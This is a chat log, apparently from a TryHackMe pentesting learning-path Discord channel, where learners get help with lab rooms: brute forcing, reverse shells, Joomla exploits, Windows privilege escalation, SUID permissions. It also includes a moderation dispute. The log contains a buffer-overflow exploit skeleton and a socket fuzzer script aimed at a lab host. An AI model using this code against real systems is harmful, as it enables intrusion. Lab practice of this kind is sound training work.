low knot
low knot
velvet tapir
#

sorry got confused,,,, on hackpark is Login failed ,,, you are doing skynet

#

hydra should work ,,, once you get the correct syntax in ,

low knot
#

see, I've made the syntax with this stuff only.

unknown.png
#

anyways I'm fuzzing it in burp as well, just a min

#

in case u guys see any syntax error on the basis of above 2 ss, do let me know......

velvet tapir
#

why ohh why did I go back to that ,,,, still can't get that second reverse shell to work,,,, did the initial one on port 53 , and the second one on 443,, I got it to hit once,,, but the shell wasn't built correctly,,,, and on the first shell, it gets hung up on like pwd,,,

#

c:\windows\system32\inetsrv>
c:\windows\system32\inetsrv>
c:\windows\system32\inetsrv>
c:\windows\system32\inetsrv>
c:\windows\system32\inetsrv>
c:\windows\system32\inetsrv>

#

what is that?

#

it's like running a for loop on pwd,,,

low knot
low knot
velvet tapir
#

cache indigestion

low knot
keen iris
#
  1. i aint your bro.
  2. Zap is faster
low knot
low knot
low knot
velvet tapir
#

zap is open source, and bup has some limit because it's the free version,,

keen iris
#

Because hydra isn't suited to the task.

#

Hydra is ideal for simpler HTTP brute force or other servers.

low knot
low knot
#

do u recommend brute forcing username as well or admin might work, I am asking with respect to squirrelmail specifically in case u have brute forced there before?

#

@keen iris

#

and whenever credentials r required in such cases, is brute force the only way to step ahead?

onyx shuttle
brave idol
#

hey, does anybody know how to do priv esc with wildcard injection through mv command?

keen iris
#

Is this related to tryhackme? @brave idol

static basalt
#

jus curious, can i start oscp path with basic networking and linux knowledge. or is it better to start with complete beginner then oscp?

crystal needle
#

Room Steel Mountain
Exploiting without Metasploit
I can not run server over port 80 since it is being used by another service, is there any way to get around it.

velvet tapir
#

had a hell of a time with that, openvpn, or change the serving port ,

crystal needle
#

Openvpn is a waste of time
What about changing the serving port

#

Knowing that my exploit has a predefined port for the server which 80

crystal needle
keen iris
#

OpenVPN isn't a waste of time.

crystal needle
#

@keen iris blocked in my country, that is what i meant

keen iris
#

You can change the port in the exploit if you take a minute to understand what is happening

crystal needle
#

It all about http mentioned in the .py@keen iris

keen iris
#

I will say it again

#

You can change the port in the exploit

#

BUT you have to understand the URL it's building.

velvet tapir
#

there is another way ,, wmic that requires no upload

crystal needle
#

@keen iris ok thanks i will give it a try@velvet tapir

velvet tapir
#

prefix = "OVERFLOW1 "
offset =|| XXXX||
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(buffer + "\r\n")
print("Done!")
except:
print("Could not connect.")

Restart oscp.exe in Immunity and run the modified exploit.py script again.
The EIP register should now be overwritten with the 4 B's (e.g. 42424242).

not sure how to confirm this, the log shows,,, is this correct?

Log data, item 0
Address=42424242
Message=[12:15:05] Access violation when executing [42424242]

low knot
#

@keen iris is there something wrong with my command?

unknown.png
keen iris
#

Why ping me here?

low knot
#

since this repo was from your account...

keen iris
#

Yeah no

#

I never converted it to python3

low knot
#

got it...thanks

keen iris
#

It's not my exploit

low knot
#

yeah, i saw this

unknown.png
#

anyways it's awesome.

low knot
#

It worked for me sir.....still if it isn't finished, would you mind sharing what's missing?

unknown.png
low knot
fleet wedge
low knot
#

@fleet wedgeThanks for answering sir, but since it isn't allowed in oscp, I am looking for a manual way of doing it. Have you come across any?

fleet wedge
#

I'm just here to gain knowledge and modifying some scripts

#

ill look into the script 🙂

low knot
#

I am actually a beginner 😅 but still trying both methods where ever possible.

fleet wedge
low knot
#

Yeah, that's way more satisfying 😄

fleet wedge
#

Ill suggest to look into the sqlmap script and try modifying the joomla script as per your need

low knot
fleet wedge
#

most cve doesn't work for me lmao

low knot
fleet wedge
#

i have to modify it everytime

#

;_;

low knot
fleet wedge
#

Is this correct?

unknown.png
fleet wedge
#

i have to google up everything (most of the things 😁 )

#

but modifying scripts is helping me improve

#

I don't if i should put my modified scripts on github

low knot
fleet wedge
#

i think you have to change it manually

#

use python with required modules installed using pip or pip3

low knot
#

No it's not of my machine

#

But I have to see what is it referring to.

fleet wedge
#

you have to change the ip address in the script manually ig

unknown.png
low knot
#

Oh, but it worked fine with python

#

I don't really know how... But for the manual part, I'll go in depth

fleet wedge
#

is your box using Joomla or something?

#

It won't work on everybox

low knot
low knot
fleet wedge
low knot
#

Alright let me try!

#

this is the output without changing anything

Untitled.png
fleet wedge
#

ig it's working

#

I was just checking the script

fleet wedge
#

Well it worked @low knot 😁

unknown.png
#

It's a hash if im correct

#

try decoding it

low knot
fleet wedge
low knot
#

joomblah was working before

fleet wedge
#

oh my bad

#

lmao

low knot
#

I am done with this machine

fleet wedge
#

apologies for my dumb brain

low knot
#

by using joomblah

low knot
low knot
#

since, joomblah automated the process

fleet wedge
#

What did it do

low knot
#

Yeah I am doing that

fleet wedge
#

i haven't started with buffer overflows 🥲

low knot
#

3 machines are yet to be done before starting them........

proven raptor
#

Hello everyone, starting this path now. 🙂

past escarp
#

can someone tell me some offensive techniques of pentesting

velvet tapir
#

? @past escarp

lusty bough
low knot
# past escarp can someone tell me some offensive techniques of pentesting

don't know what exactly do u mean by techniques but personally I feel being a good reader would really help me. I feel lazy reading lengthy blogs but as I am leveling up, finding videos on core concepts is rare n so reading becomes mandatory in the long run.
In case u turn out to be a voracious reader, kindly ignore....lol

fleet wedge
#

i haven't seen any1 doing the windows priv esc room

#

:0

#

i just realized that exists and gives a badge lmfao

ashen hornet
mint pilot
#

I love Hacktricks

grizzled gale
#

hello
can someone reference me source of some windows internals for a behavior regarding the Alfred room ?
I don't know how much detail is OK to say here

keen iris
grizzled gale
keen iris
#

Urgh that's a mess

grizzled gale
#

i tested and impersonated Admins group, getuid returned system account

#

but i still couldn't see files

keen iris
grizzled gale
#

there is info about backup files and restore files there, but the actual directory content listing is not mentioned

#

I don't get Access denied , like I thought I would

#

but rather File Not Found

keen iris
#

Yeah, it acts like the file doesn't exist

#

You don't have permissions to even know the existence

grizzled gale
#

I'm trying to understand the difference between access denied and file (or any other object) does not exist

keen iris
#

Well, one of them is you're not allowed to do what you're doing

grizzled gale
#

Transparently, I get 2 different GetLastError() codes

keen iris
#

The other is you're not even allowed to know the existence

#

(Or it actually doesn't exist)

grizzled gale
#

is there any way to check what i am not allowed to know of ?

#

that is, before I privesc into a process with god primary token

#

not even icacls works

#

this lab helped me learn about some stuff I wasn't aware of before, but know I'm trying to get around to understand it

keen iris
#

I think the paper I linked might be helpful

grizzled gale
#

i'll have a more thorough read and come back if I can't find the answer there or somewhere else
thank you for your time 🙂

rain glade
#

Hi guys, i started the complete beginner path and reached the windows active directories, what would you recommend:
1-Doing AD then complete the intro to windows
2-Doing the windows intro, then AD, even if it's not part of the path

young parcel
#

2

fleet wedge
#

Im on Task 3 of vulnversity, Is this running alright?

unknown.png
keen iris
#

@fleet wedge yes however rockyou is a password wordlist, not a wordlist for directory brute forcing

fleet wedge
#

ohhh

#

Where do you find ones for directories?

keen iris
#

You can probably research that quite quickly

fleet wedge
#

Yep got one

#

Well i think its one lmao

#

Thanks for your help appreciate it

jaunty inlet
#

Hi can anyone help me out with bufferoverflow

#

buffer overflow*

#

i am unable to get the reverse shell

fleet wedge
#

Where are you getting that error?

fleet wedge
digital ruin
#

I am having problem here. Doing Vulnversity Walkthrough and got stuck on netcat and reverse shell

#

error msg WARNING: Failed to daemonise. This is quite common and not fatal. Connection timed out (110)

keen iris
#

What IP did you put in the reverse shell?

digital ruin
#

my thm ip

#

that was shown on 10.10.10.10

keen iris
#

Are you using a Kali VM?

digital ruin
#

yap

keen iris
#

Connect to the VPN directly from Kali, not from the host OS.

digital ruin
#

ahh great

#

now its working

#

my thoughts were bad

#

so now everytime when i want to be on thm i need host OS connected to VPN and VM too?

keen iris
#

No.

#

JUST in the VM.
ONLY in the VM.

#

You cannot connect from multiple devices at once.

digital ruin
#

oke, understood

#

thanks for fast response helper

keen iris
#

Please don't call me bro. It's uncomfortable because you don't know me.

digital ruin
#

changed 😉

#

and sorry

storm elk
#

I'm just starting on this path and I'm wanting to know if you guys have any advice at all or like somethings I could do to get better

young parcel
candid lodge
#

The PTS is free! Good resource

#

I will say THM’s paths feel miles ahead of its competitors in terms of learning.

barren beacon
#

THM is excellent for beginners and learning the basics but there's plenty of other resources out there too, that, in my opinion, are better for testing your overall skills

#

Sorry, that came out harsh. THM is excellent in almost every aspect. I just mean as a testing/validation platform, theres a few others out there that sit a bit better.

keen iris
#

Don't limit yourself to just THM.

barren beacon
#

Good point bro

keen iris
#

Please don't call me bro. It's uncomfortable as you don't know me.

velvet tapir
#

We need a bro bot counter with standard reply

barren beacon
#

Never heard anyone have a problem with being called bro before.

#

Is it some kind of meme that i'm not aware of?

keen iris
#

No. It's just a term you use for people who are like a brother to you. Or at least someone you know at a bare minimum. And that's without getting started on how it's often levelled at women.

barren beacon
#

I feel like you're probably reacting a little bit too strongly to this.

keen iris
#

I feel like I'm asking you not to do something and that you should respect that?

proper condor
#

what are you even on about? the guy simply thanked you

barren beacon
#

I respect you asking me, doesn't mean i'm going to do it.

sour jay
#

Hey @barren beacon Please respect peoples choices to how they like or don't like to be addressed 🙂

barren beacon
#

Please don't call me krsecurity, call me bro.

sour jay
#

That seems to be a sarcastic response, C'mon lets be civil here.

barren beacon
#

I was perfectly civil to be fair, and yes trolling a little, sorry for that. Just seemed weird for James to get all touchy about a singular word.

sour jay
#

Well, It's not the word, per-se its the familiarity that it implies.

#

And James isn't 'touchy', He explained why and was polite about it.

barren beacon
#

Anyway, this is probably the worst conversation i've ever been a part of so i'm going to bow out and get back to work.

sour jay
#

Good to hear it. Good luck with your work 🙂

proper condor
#

Why are grown men being triggered by words like bro?

#

the guy simply thanked you

sour jay
#

I was wondering when you'd finally press enter, Ugi 🙂

#

As you can see, it was all explained above.

#

And we have now moved on.

barren beacon
#

My point Esqy is that him being offended is his problem, not mine

#

You can't spend your whole life objecting to social normality

sour jay
#

Ok.

proper condor
#

I'm just surprised that such meaningless words can actually upset you? There bigger obstacles and hardships in life then getting called bro

sour jay
#

Well, that c word is one I don't like.

proper condor
#

just comes off very unprofessional

sour jay
#

-warn @barren beacon Please don't use such foul language

desert topazBOT
#

⚠ Warned krsecurity#1598

sour jay
#

Ugi - As does arguing over an issue that you have 0 vested interest in.

proper condor
#

this is borderline pathetic

#

you're filtering people who disagree with you, rather than discussing the point raised

chrome valve
#

Let's calm down here please 🙂
@proper condor please remember that the staff in here are volunteers, not professionals. They don't have to accept being addressed in ways that they feel uncomfortable with. We would address you the way you wished to be referred to, so please afford others the same courtesy.

#

It's a mark of respect to not go against someone's wishes when it comes to how you speak to them. That is a valuable lesson to learn for the real world as well, for the record

proper condor
#

Thank you for the valuable lesson, but you're in no position to be giving life advice especially when this chat seems to be ran by highschool kids with no practical life experience. What's next? If I disagree with you you'll mute/ban me too?

chrome valve
#

Wow. That is a lot to unpack right there. There are some assumptions in that block of text which are frankly laughable, and say a lot more about yourself than they do anyone else here 🙂
But no. Believe it or not I'm not a big fan of "punishing" people. If you want to cause a disturbance then sure -- my job is to maintain the peace in here. If you want to be an arsehole then maybe you'll end up banned; but that's not something that happens for disagreeing with someone.

proper condor
#

You got something to say me to drop a PM, thicker skin is paramount in life, maybe it isn't when you're simply hiding behind your mod status

sour jay
#

Are you ok?

proper condor
#

Perfectly fine, are you?

chrome valve
#

Grand, thank you for asking 🙂

sour jay
#

Yeah, I'm great 🙂

proper condor
#

what do you guys do

#

out of curiosity

#

uni?

chrome valve
#

I'm an ethical hacking student working as a pentester. Esqy has a more interesting set of roles which I'm sure he'll tell you 😆

sour jay
#

Personally? My family own and run several large businesses and I provide support in the form of HR, PR, Maintainance and all sorts of other things. In my spare time, I convert vans into campervans and build cool retro arcade machines. THM and Hacking is a side-hobby, which Is continued from my computer degree and years as a Digital Forensic Analyst

proper condor
#

life outside your bedroom will throw bigger challenges at you, than getting called bro, I'm ex mil, you wanna give me a shout we can chat and discuss outlook on life and overall philosophy, I wish you all the best folks, but this whole bro fiasco portrays you in a very negative light

#

Enjoy your evenings

#

I'm up for booty calls whenever you need help, take care

chrome valve
#

👋

sour jay
#

Ah. I see you mde assumptions about us. You are correct to a point. However, As an ex-military person, it surprises me that someone choosing how they want to be addressed has triggered you in such a way as to have this outpouring on a Discord. Hence why I asked if you were ok.

proper condor
#

when you have weak people in position of power, its only a matter of time till that power gets abused

sour jay
#

And that statement was crafted to offend.

proper condor
#

no

#

its the truth

sour jay
#

anyhow, You said you were off, so I won't take up any more of your time 🙂

proper condor
#

ask anyone in police service/firefighters or army

#

you'll receive the same response

#

I'm available anytime, if u do wanna chat

#

take good care of yourself

topaz yoke
#

Oh get lost you, get off your high horse and have a real conversation

#

I banned him, that conversation reeked of immaturity and veiled conceited beliefs on their end

candid lodge
#

You got this! And more importantly have fun! @near ginkgo

obtuse hawk
#

goodluck

clear parrot
#

How well would people say this path preps people for the OSCP?

royal plaza
#

something I would like to know too ^^

ashen hornet
#

It prepares you for offensive security (as a practice) in general, it's not related or specifically geared towards OSCP.

versed urchin
#

Looks like fun convo, I’m NEW NEW so hi everybody ( i have been playing with Kali and Friends for awhile)

brazen prism
#

The Penetration Testing Student learning path on INE right?

#

but it's not free

keen iris
#

-undelete -a

#

@chrome valve

#

Generally best to avoid social media during your exam tho.

queen solstice
#

Buffer Overflow Prep - Overflow1 - the !mona findmsp -distance doesn't work. Am I doing something wrong? Or is the exercise noted/instructions out of date?

#

It doesnt return any EIP value

velvet tapir
#

it should work, that should give you your offset variable,

#

@queen solstice

queen solstice
#

But it isnt

velvet tapir
#

are you looking at your log

queen solstice
#

its not displaying any of the content it should

#

yes, I'm looking at the log and the output screen as well

velvet tapir
#

should look like this:

#

0BADF00D !mona findmsp -distance 2400
0BADF00D [+] Looking for cyclic pattern in memory
750C0000 Modules C:\Windows\System32\wshtcpip.dll
0BADF00D Cyclic pattern (normal) found at 0x018bf272 (length 2400 bytes)
0BADF00D Cyclic pattern (normal) found at 0x007e394a (length 2400 bytes)
0BADF00D Cyclic pattern (normal) found at 0x007e4d7a (length 2400 bytes)
0BADF00D [+] Examining registers
0BADF00D EIP contains normal pattern : 0x6f43396e|| (offset 1978)||
0BADF00D ESP (0x018bfa30) points at offset 1982 in normal pattern (length 418)
0BADF00D EBP contains normal pattern : 0x43386e43 (offset 1974)
0BADF00D EBX contains normal pattern : 0x376e4336 (offset 1970)
0BADF00D [+] Examining SEH chain
0BADF00D [+] Examining stack (+- 2400 bytes) - looking for cyclic pattern
0BADF00D Walking stack from 0x018bf0d0 to 0x018c0394 (0x000012c4 bytes)
0BADF00D 0x018bf274 : Contains normal cyclic pattern at ESP-0x7bc (-1980) : offset 2, length 2398 (-> 0x018bfbd1 : ESP+0x1a2)
0BADF00D [+] Examining stack (+- 2400 bytes) - looking for pointers to cyclic pattern
0BADF00D Walking stack from 0x018bf0d0 to 0x018c0394 (0x000012c4 bytes)
0BADF00D 0x018bf168 : Pointer into normal cyclic pattern at ESP-0x8c8 (-2248) : 0x018bf7a0 : offset 1326, length 1074
0BADF00D [+] Preparing output file 'findmsp.txt'
0BADF00D - Creating working folder c:\mona\oscp
0BADF00D - Folder created
0BADF00D - (Re)setting logfile c:\mona\oscp\findmsp.txt
0BADF00D [+] Generating module info table, hang on...
0BADF00D - Processing modules
0BADF00D - Done. Let's rock 'n roll.
0BADF00D
0BADF00D [+] This mona.py action took 0:00:06.037000

queen solstice
#

nope

#

I get this from the logfile

velvet tapir
#

run the py again, something got out of whack, best to start again,, making sure all steps, are executing,

queen solstice
#

i can fizz the app

velvet tapir
#

i'm not that far ahead of you, it's not hard just a lot of little steps,

queen solstice
#

i bought this to help with my oscp but this is turning out to be as frustrating as the oscp

#

i can fuzz the app

#

i've got the length plus 400 (i.e. 1700) for pattern create

#

but something appears wrong with mona

#

it looks for cyclical patterns in memory

#

the goes straight to examining registers

#

the straight to examining SEH chain

#

then asks if I'm connected to an application despite it listing the oscp app!

#

I've even disconnected from both the windows 7 box and the attack box but the same result

velvet tapir
#

The distance should be the same for overflow1, which crashes at 2000,

queen solstice
#

mine stopped at 1300

#

just re-ran it (copied direct from the page) and it stops at 1300

velvet tapir
# 

ip = "10.10.209.186"
port = 1337
timeout = 5

buffer = []
counter = 100
while len(buffer) < 30:
    buffer.append("A" * counter)
    counter += 100

for string in buffer:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        connect = s.connect((ip, port))
        s.recv(1024)
        print("Fuzzing with %s bytes" % len(string))
        s.send("OVERFLOW1 " + string + "\r\n")
        s.recv(1024)
        s.close()
    except:
        print("Could not connect to " + ip + ":" + str(port))
        sys.exit(0)
    time.sleep(1)```
queen solstice
#

I'll try that

keen iris
#

You've lost all the indents

#

@velvet tapir wrap it in three backticks on either side

velvet tapir
keen iris
#

Google "code blocks in discord"

queen solstice
#

I'm now going backwards

#

it now only sends 100 bytes before it loses the connection

#

but i can still nc to it

velvet tapir
#

sorry about the code thing, python is all about indentation, prefer old fashion ;

queen solstice
#

its not that

#

i think it was the attack machine itself

keen iris
queen solstice
#

ive just used the kali one andth fuzzer crashed at 2000 bytes

keen iris
#

For the attackbox you need to use python2 as your command

queen solstice
#

i was using python2

keen iris
#

python or python2?

queen solstice
#

and the eip on the win7 box has 41414141 in the eip

#

much of the oscp still runs on python2 so just assumed the same here

#

and !mona findmsp -discover works

#

-max and NinjaJc01 | James thanks for all your help and patience

velvet tapir
#

ohhh,

#

I have been using python

#

so, in OVERFLOW3, if the fuzzer crashes at 700, made payload at 1100, and it's not crashing the server, is it ok to just say bring it up to 1200?

queen solstice
#

yep

#

my experience from oscp is to just keep uppoing the buffer til you get a crash

#

much like nop sleds you got to try trial and error to find the exact match

#

a bit like bad chars, though i like the mona way of discovering them, looks much more efficient

queen solstice
#

exercise one completed OK, I'll bear in mind the lessons from today - thanks once again for your help

young parcel
#

yay just finalized the path

twilit jasper
#

as somebody who knows nothing abt nothing

#

would doing complete beginner path -> this path be a good roadmap?

keen iris
#

Pretty decent. Don't be afraid to go off the path and do some rooms that seem interesting tho

#

I'd do complete beginner, some easy challenge rooms, then this path

twilit jasper
#

ok thanks, sounds good

#

im glad i found this site

fathom prism
#

So the tool I was using today gave me 2 interesting outputs on websites I was testing. Both were similar DOM based exploits. Would it be the api or the webpage itself that would be susceptible to attacks in that instance?

compact scaffold
#

Hi, does anyone know why my buffer overflow attack pops shell in a THM machine but not when fuzzing in immunity debugger? I've set my AV to ignore immunity debugger and the relevant exe but it didn't help. Thanks!

vital acorn
#

Hello guys
So I've just passed my eJPT, and I am planning for the OSCP
I will purchase 3 months PWK lab access during the summer holiday, so what it the best thing I can do now as a preparation for the OSCP exam?

Shall I do Dante pro lab or the machines on the TJ_Null list?

rancid vine
#

My prep list is pinned in the channel. Add Gatekeeper, Relevant, and Internal to it.

velvet tapir
#

I'm having chmod issues, can't seem to get the right privileges

#

-rwSr-Sr-x

keen iris
#

You're missing execute on it

velvet tapir
#

yes the most important one lol

#

that last x right

#

The letters rwxXst select file mode bits for the affected users: read (r), write (w), execute (or search for directories) (x), execute/search only if the
file is a directory or already has execute permission for some user (X), set user or group ID on execution (s), restricted deletion flag or sticky bit (t).
Instead of one or more of these letters, you can specify exactly one of the letters ugo: the permissions granted to the user who owns the file (u), the per‐
missions granted to other users who are members of the file's group (g), and the permissions granted to users that are in neither of the two preceding cate‐
gories (o).

this is just not very readable

#

I don't get it, have the file as root, put the +s flag as instructed , and like i'm missing a certain something

keen iris
#

it's rw- rn

#

Needs to be rwx

velvet tapir
#

got this, but lost the capital S,,,,

keen iris
#

You don't want the capital S

#

Capital S means suid without execute which is useless on a binary

#

It's fine now.

velvet tapir
#

i was just about to google that SUID S,,,

#

ohhhh, so capital S bad

#

thank you sir

#

why ohhh why am I not root?????????

#

😫

keen iris
velvet tapir
#

ohhhhh i think i'm having a good moment

#

lol

#

ok, so I thought that when I execute the bash file that would change the user to root, terribly confused ,

keen iris
#

Because it needs to be a suid binary

velvet tapir
keen iris
#

Yeah.

velvet tapir
#

thank you for like the ,,, lost track,

fleet wedge
#

So I have recently got into this cyber-security field and I'm loving it. I've been on tryhackme for about more than a week but whenever I try to do a ctf room by myself without any help I always get stuck. Then I got to look up a walk through on youtube so I can solve the room I'm in. Could I get some tips to like help me with this. I do a nmap scan, then I look for hidden directories with gobuster, and then look around the webpage and try to exploit it and I usually find the first flag but then there's like two or three more after that and I always get stuck on that. Could I get some tips on that too please.

mint raptor
fleet wedge
fleet wedge
#

Is premium worth it?

#

Considering the other day I couldn’t even ssh into a host

keen iris
#

Were you connected to the THM VPN?

fleet wedge
#

OpenVPN?

keen iris
#

Yeah. That's something you'll need in order to interact with room VMs. That, or interact from the attackbox.

fleet wedge
#

Oh, it doesn't mention that in the Linux Fundamentals Part 2

#

It just says to SSH

keen iris
#

It's a fundamental thing that applies all over THM. Something that was covered in the Welcome room which you were put into when you joined

fleet wedge
#

oh okay

#

thanks

keen iris
#

FWIW I think subscribing is worth it. The learning paths are pretty cool if you're starting out, the extra VM resources make everything smoother, the attackbox is useful if you don't have your own kali or don't want to mess with it, and the sub only content's pretty neat.
Full disclaimer: I'm loosely employed by THM for some of the box dev work I do. I don't get paid for people who subscribe, but I have made some of the content that features in paths, event rooms, and some sub only rooms

fleet wedge
#

Nice, I think I will subscribe

#

Plus, it's faaar cheaper than HTB

#

And looks better

keen iris
#

Plus you get your own instances. You need HTB VIP+ for that over on HTB.

fleet wedge
austere fable
#

Any idea why in the Alfred Room my meterpreter shell won't load? As you can see the session opens then nothing happens no prompt. If I hit enter it just says shell session closed. https://prnt.sc/10iykyy

Lightshot
Screenshot

Captured with Lightshot

keen iris
#

Does your payload in multi/handler match the one that you generated?

austere fable
#

rip looks like I didn't specify a module. Thanks.

keen iris
#

Payload, not module. The module is multi handler

austere fable
#

Hmmm. Payload is wrong I think. Generic not windows reverse_tcp

keen iris
#

yea

austere fable
#

Thank you. Working now.

keen iris
#

Just needs to line up with what you generated

austere fable
#

The command from the room didn't work so I just launched the module and set options on my own. Didn't even think about payload. Good lesson I learned for sure. Thanks again. Might have spent hours trying to figure it out. 🤦

austere fable
#

Also confused why I can't launch a shell. When I type shell it just says channel created but I don't get command prompt.

keen iris
#

Windows tells your process the file doesn't exist if you don't have perms to know of its existence

austere fable
#

Oh yeah I forgot about the spool migrattion.

#

getuid shows me as system though so do I still need to migrate process?

keen iris
#

You're system, but your primary token isn't

#

It's weird, I know

austere fable
#

Okay. I'm not sure I totally understand that but I can read about it. Yeah I am impersonating system. Thanks again for your help. Much appreciated. I probably am pushing to hard to advance and need more basics but I tend to learn best by doing. A few months back I had never really even used linux and feel much more comfortable now.

fleet wedge
#

I don't really understand the $ operator

neon lodge
# fleet wedge I don't really understand the $ operator

I'll try my best;
Essentially the $ operator indicates a variable. If you run env it should spit out a bunch of variables with values (VARIABLE=VALUE).
Using the $ operator you can load in a value by its assigned variable name. For example if VAR=ABC123 and you do echo $VAR, then rather than printing out $VAR it will be replaced with ABC123.

#

A useful case for this is if you need to know what user you are, the USER variable is always set to the user you're currently logged in as, so $USER will always be replaced by your current username.

fleet wedge
#

Ah okay

#

But what if I changed user=uendjdndj

late geyser
#

I am on Blue - I have exploited it it via METASPLOIT. I am trying to exploit it manually. There are loads of instructions online. I have got teh python file. I have ran a a pipe peramiter scanner agaisnt it but nothing is returning

#

I have done a manual one and one on METEASPLOIT

#

I need it for the python script

#

any advice?

neon lodge
# fleet wedge But what if I changed user=uendjdndj

You'd then override the USER variable (do keep in mind that it's case sensitive), however whenever you log out and log back in then the system would set USER to whatever the user is you're logging in as.

fleet wedge
neon lodge
# fleet wedge Interesting... Is it actually useful? It sounds almost useless

It's probably more useful for in Bash scripts etc, there's more variables that the system automatically sets as well that could be useful for general use. For example you can find out what shell you're using with echo $SHELL, or your home folder with $HOME etc. And probably most important the $PATH variable, which determines where your system looks for executables.

fleet wedge
#

ah okay then

#

So it's usage is quite niche in pentesting then?

#

I bought the subscription yesterday, and it's really good

#

Having a browser-VM

round summit
#

Is the Corp room working fine ? I can't do much. I don't have internet connection. I can't open the start menu I tried connection through remmina, and the attack box, and it's the same. I don't know if I can open a terminal without the start menu either

keen iris
#

You don't need an internet connection

#

Have you tried Win+R then powershell?

round summit
#

That works, there I have a shell!

keen iris
round summit
#

Haha. Thanks Ninja.

fleet wedge
#

ayo is there such thing as panels

keen iris
#

Huh? @fleet wedge

fleet wedge
#

how to i go to /tmp/aa$?

keen iris
#

That question needs a whole lot of context

fleet wedge
#

xD

#

I can't post a image

#

Like on the linux fundamentals 3, it's showing examples of it doing commands in that directory

#

but I am not in that directory

keen iris
frank troutBOT
keen iris
#

Follow those steps

keen iris
fleet wedge
#

oh lol

keen iris
#

But yeah, verify then you can post images.

fleet wedge
#

ok, ill do it soon

#

thanks tho

fleet wedge
#

for the question: Using absolute paths how would you make a directory called test in /tmp

why isn't this answer working?: cd /tmp && mkdir test

keen iris
#

because that's overly complicated

#

Look at the answer format

#

Look at your answer

#

Your answer does not fit.

#

Don't post answers

fleet wedge
#

oh

#

but does my first answer work in theory?

keen iris
#

Maybe, but it has side effects and is kinda bleh

#

One command would work

fleet wedge
#

ah okay. And I don't have to be in the /tmp directory for it to work/

keen iris
#

That's why it says using absolute paths

fleet wedge
#

There's nothing offensive about pentesting. How else will we know whether ballpoint or felt-tip works best?
Okay, okay... I'll get back to lurking and learning...

noble glacier
#

You should watch that darkchamp

velvet tapir
#

Must admit that, those flip techniques are impressive

lean lion
fleet wedge
#

For Linux Fundamentals Part 3, is there an answer for task 7 (binary - shiba3) that actually involves what was learnt from the room?

#

It's not possible to answer the question from what is taught

pale sluice
fleet wedge
round summit
#

Is there any way for the certificate to use my full name instead of the username ?

velvet tapir
#

I know in other places (codecademy) I would change the name , print the cert, and then change it again, @round summit

round summit
#

Yeah, can't seem to be able to change my username easily

#

But thanks

velvet tapir
#

ohhh, "Email support@tryhackme.com with your existing username and tell them what you want to change it too and they will change it for you" @round summit

round summit
#

Alright. I will just ask about the whole deal again just in case, maybe there is no need to change the username. Thanks.

keen iris
#

But it will not apply retroactively